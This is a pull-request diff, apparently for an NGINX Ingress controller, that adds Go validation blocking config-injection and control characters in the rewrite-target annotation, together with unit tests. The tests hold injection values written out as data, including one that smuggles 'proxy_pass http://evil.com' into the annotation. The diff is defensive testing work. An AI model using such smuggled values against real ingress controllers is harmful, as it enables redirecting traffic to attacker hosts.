Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
12 changes: 12 additions & 0 deletions internal/k8s/validation.go
Original file line number Diff line number Diff line change
Expand Up @@ -804,6 +804,18 @@ func validateRewriteTargetAnnotation(context *annotationValidationContext) field
return field.ErrorList{field.Invalid(context.fieldPath, target, "rewrite target must start with /")}
}

// Prevent NGINX configuration injection characters
if strings.ContainsAny(target, ";{}[]|<>,^`~") {
return field.ErrorList{field.Invalid(context.fieldPath, target, "NGINX configuration syntax characters (;{}) and []|<>,^`~ not allowed in rewrite target")}
}

// Prevent control characters and line breaks that could break NGINX config
for _, char := range target {
if char <= 32 || char == 127 { // ASCII control characters; 127 is DEL, 32 is space
return field.ErrorList{field.Invalid(context.fieldPath, target, "control characters not allowed in rewrite target")}
}
}

return nil
}

Expand Down
56 changes: 56 additions & 0 deletions internal/k8s/validation_test.go
Original file line number Diff line number Diff line change
Expand Up @@ -3366,6 +3366,34 @@ func TestValidateNginxIngressAnnotations(t *testing.T) {
},
msg: "invalid nginx.org/rewrite-target annotation, path traversal with ..\\ (Windows style)",
},
{
annotations: map[string]string{
"nginx.org/rewrite-target": "/foo/$1; } path / { my/location/test/ }",
},
specServices: map[string]bool{},
isPlus: false,
appProtectEnabled: false,
appProtectDosEnabled: false,
internalRoutesEnabled: false,
expectedErrors: []string{
`annotations.nginx.org/rewrite-target: Invalid value: "/foo/$1; } path / { my/location/test/ }": NGINX configuration syntax characters (;{}) and []|<>,^` + "`" + `~ not allowed in rewrite target`,
},
msg: "invalid nginx.org/rewrite-target annotation, NGINX configuration syntax characters (;{}) not allowed in rewrite target",
},
{
annotations: map[string]string{
"nginx.org/rewrite-target": "/api\npath",
},
specServices: map[string]bool{},
isPlus: false,
appProtectEnabled: false,
appProtectDosEnabled: false,
internalRoutesEnabled: false,
expectedErrors: []string{
`annotations.nginx.org/rewrite-target: Invalid value: "/api\npath": control characters not allowed in rewrite target`,
},
msg: "invalid nginx.org/rewrite-target annotation, control characters not allowed in rewrite target",
},
{
annotations: map[string]string{
"nginx.org/rewrite-target": "api/users",
Expand All @@ -3380,6 +3408,34 @@ func TestValidateNginxIngressAnnotations(t *testing.T) {
},
msg: "invalid nginx.org/rewrite-target annotation, does not start with slash",
},
{
annotations: map[string]string{
"nginx.org/rewrite-target": "/api/v1`; proxy_pass http://evil.com; #",
},
specServices: map[string]bool{},
isPlus: false,
appProtectEnabled: false,
appProtectDosEnabled: false,
internalRoutesEnabled: false,
expectedErrors: []string{
"annotations.nginx.org/rewrite-target: Invalid value: \"/api/v1`; proxy_pass http://evil.com; #\": NGINX configuration syntax characters (;{}) and []|<>,^`~ not allowed in rewrite target",
},
msg: "invalid nginx.org/rewrite-target annotation, backtick and semicolon injection",
},
{
annotations: map[string]string{
"nginx.org/rewrite-target": "/path/$1|/backup/$1",
},
specServices: map[string]bool{},
isPlus: false,
appProtectEnabled: false,
appProtectDosEnabled: false,
internalRoutesEnabled: false,
expectedErrors: []string{
"annotations.nginx.org/rewrite-target: Invalid value: \"/path/$1|/backup/$1\": NGINX configuration syntax characters (;{}) and []|<>,^`~ not allowed in rewrite target",
},
msg: "invalid nginx.org/rewrite-target annotation, pipe character for alternatives",
},
}

for _, test := range tests {
Expand Down